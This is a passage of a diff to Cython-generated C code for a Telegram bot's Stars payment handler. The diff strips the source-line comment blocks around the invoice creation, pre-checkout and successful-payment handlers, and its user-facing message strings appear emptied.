InlineKeyboardBuilder() - * builder.row( - */ { __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_10); @@ -8050,13 +7115,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - /* "handlers/payments/stars_pay.py":185 - * ) - * try: - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton(text="", pay=True), - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; @@ -8085,23 +7143,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_cur_scope->__pyx_v_builder = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/stars_pay.py":186 - * try: - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text="", pay=True), - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":187 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< - * ) - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 187, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L9_error) @@ -8137,23 +7181,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/stars_pay.py":189 - * InlineKeyboardButton(text="", pay=True), - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":190 - * ) - * builder.row( - * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< - * ) - * await message.answer_invoice( - */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 190, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L9_error) @@ -8189,23 +7219,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/stars_pay.py":192 - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - * await message.answer_invoice( # <<<<<<<<<<<<<< - * title=f" {amount} .", - * description=f" {amount} .", - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 192, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - /* "handlers/payments/stars_pay.py":193 - * ) - * await message.answer_invoice( - * title=f" {amount} .", # <<<<<<<<<<<<<< - * description=f" {amount} .", - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L9_error) @@ -8235,13 +7251,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_title, __pyx_t_3) < 0) __PYX_ERR(0, 193, __pyx_L9_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":194 - * await message.answer_invoice( - * title=f" {amount} .", - * description=f" {amount} .", # <<<<<<<<<<<<<< - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - * provider_token="", - */ __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = 0; @@ -8269,13 +7278,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 193, __pyx_L9_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":195 - * title=f" {amount} .", - * description=f" {amount} .", - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< - * provider_token="", - * payload=f"{amount}_stars", - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L9_error) @@ -8304,13 +7306,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_provider_token, __pyx_kp_u__17) < 0) __PYX_ERR(0, 193, __pyx_L9_error) - /* "handlers/payments/stars_pay.py":197 - * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], - * provider_token="", - * payload=f"{amount}_stars", # <<<<<<<<<<<<<< - * currency="XTR", - * reply_markup=builder.as_markup(), - */ __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_8 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_3, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 197, __pyx_L9_error) @@ -8320,13 +7315,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 193, __pyx_L9_error) - /* "handlers/payments/stars_pay.py":199 - * payload=f"{amount}_stars", - * currency="XTR", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * except Exception as e: - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; @@ -8354,13 +7342,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 193, __pyx_L9_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":192 - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - * await message.answer_invoice( # <<<<<<<<<<<<<< - * title=f" {amount} .", - * description=f" {amount} .", - */ __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -8400,13 +7381,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":184 - * ReplenishBalanceState.waiting_for_payment_confirmation_stars - * ) - * try: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ } __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -8420,13 +7394,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/stars_pay.py":201 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await message.answer(" .") - */ __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -8439,13 +7406,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - /* "handlers/payments/stars_pay.py":202 - * ) - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * await message.answer(" .") - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 202, __pyx_L21_error) @@ -8481,13 +7441,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":203 - * except Exception as e: - * logger.error(f" : {e}") - * await message.answer(" .") # <<<<<<<<<<<<<< - * else: - * await message.answer(" . , :") - */ __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 203, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_15 = NULL; @@ -8563,13 +7516,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":201 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * await message.answer(" .") - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -8620,13 +7566,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } goto __pyx_L11_except_error; - /* "handlers/payments/stars_pay.py":184 - * ReplenishBalanceState.waiting_for_payment_confirmation_stars - * ) - * try: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ __pyx_L11_except_error:; __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); @@ -8641,23 +7580,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_L14_try_end:; } - /* "handlers/payments/stars_pay.py":172 - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount // RUB_TO_XTR <= 0: - */ goto __pyx_L4; } - /* "handlers/payments/stars_pay.py":205 - * await message.answer(" .") - * else: - * await message.answer(" . , :") # <<<<<<<<<<<<<< - * - * - */ /*else*/ { __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); @@ -8706,13 +7631,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_L4:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":170 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -8739,13 +7657,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":208 - * - * - * @router.pre_checkout_query() # <<<<<<<<<<<<<< - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query(PyObject *__pyx_self, @@ -8901,13 +7812,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 208, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":210 - * @router.pre_checkout_query() - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_pre_checkout_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) @@ -8938,13 +7842,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":208 - * - * - * @router.pre_checkout_query() # <<<<<<<<<<<<<< - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -8967,13 +7864,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro } static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":213 - * - * - * @router.message(F.successful_payment) # <<<<<<<<<<<<<< - * async def on_successful_payment( - * message: types.Message, - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment(PyObject *__pyx_self, @@ -9151,13 +8041,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":217 - * message: types.Message, - * ): - * try: # <<<<<<<<<<<<<< - * user_id = int(message.chat.id) - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - */ { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); @@ -9165,13 +8048,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - /* "handlers/payments/stars_pay.py":218 - * ): - * try: - * user_id = int(message.chat.id) # <<<<<<<<<<<<<< - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 218, __pyx_L4_error) @@ -9184,13 +8060,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_cur_scope->__pyx_v_user_id = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/stars_pay.py":219 - * try: - * user_id = int(message.chat.id) - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) # <<<<<<<<<<<<<< - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(int(user_id), float(amount), "stars") - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_invoice_payload); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L4_error) @@ -9228,13 +8097,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_cur_scope->__pyx_v_amount = __pyx_t_8; - /* "handlers/payments/stars_pay.py":220 - * user_id = int(message.chat.id) - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< - * await add_payment(int(user_id), float(amount), "stars") - * await update_balance(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 220, __pyx_L4_error) @@ -9297,13 +8159,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/stars_pay.py":221 - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(int(user_id), float(amount), "stars") # <<<<<<<<<<<<<< - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_12 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 221, __pyx_L4_error) @@ -9369,13 +8224,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":222 - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await add_payment(int(user_id), float(amount), "stars") - * await update_balance(user_id, amount) # <<<<<<<<<<<<<< - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 222, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 222, __pyx_L4_error) @@ -9438,13 +8286,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":223 - * await add_payment(int(user_id), float(amount), "stars") - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 223, __pyx_L4_error) @@ -9507,13 +8348,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } } - /* "handlers/payments/stars_pay.py":217 - * message: types.Message, - * ): - * try: # <<<<<<<<<<<<<< - * user_id = int(message.chat.id) - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -9526,12 +8360,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/stars_pay.py":224 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - */ __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_13) { __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -9544,11 +8372,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - /* "handlers/payments/stars_pay.py":225 - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 225, __pyx_L18_error) @@ -9585,12 +8408,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } - /* "handlers/payments/stars_pay.py":224 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -9641,13 +8458,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } goto __pyx_L6_except_error; - /* "handlers/payments/stars_pay.py":217 - * message: types.Message, - * ): - * try: # <<<<<<<<<<<<<< - * user_id = int(message.chat.id) - * amount = float(message.successful_payment.invoice_payload.split("_")[0]) - */ __pyx_L6_except_error:; __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); @@ -9663,13 +8473,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":213 - * - * - * @router.message(F.successful_payment) # <<<<<<<<<<<<<< - * async def on_successful_payment( - * message: types.Message, - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -11049,47 +9852,19 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/stars_pay.py":106 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_tuple__10 = PyTuple_Pack(2, __pyx_kp_u__9, __pyx_int_1); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); - /* "handlers/payments/stars_pay.py":162 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_tuple__23 = PyTuple_Pack(1, __pyx_kp_u__22); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); - /* "handlers/payments/stars_pay.py":32 - * - * - * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< - * async def process_callback_pay_stars( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __pyx_tuple__32 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists, __pyx_n_s_e); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_callback_pay_stars, 32, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 32, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":102 - * - * - * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__33 = PyTuple_Pack(1, __pyx_kp_u_stars_amount); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); @@ -11098,49 +9873,21 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__34); __pyx_codeobj__8 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_amount_selection, 102, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__8)) __PYX_ERR(0, 102, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":155 - * - * - * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__35 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_enter_custom_amount, 155, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 155, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":170 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * async def 